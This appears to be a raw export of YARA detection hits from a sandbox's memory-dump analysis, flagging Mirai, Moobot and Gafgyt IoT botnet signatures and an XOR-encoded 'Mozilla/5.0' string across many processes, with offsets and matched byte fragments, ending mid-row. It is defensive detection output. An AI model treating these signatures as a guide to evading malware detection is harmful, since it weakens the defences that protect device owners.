6287.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6287.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6743.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6743.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6743.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6743.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6743.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6743.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6806.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6626.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6626.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6626.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6626.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6626.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6626.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6243.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6243.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6243.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6243.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6243.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6243.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6858.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6656.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7245.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7423.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7423.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7423.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7423.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7423.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7423.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6432.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6515.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6515.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6515.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6515.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6515.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 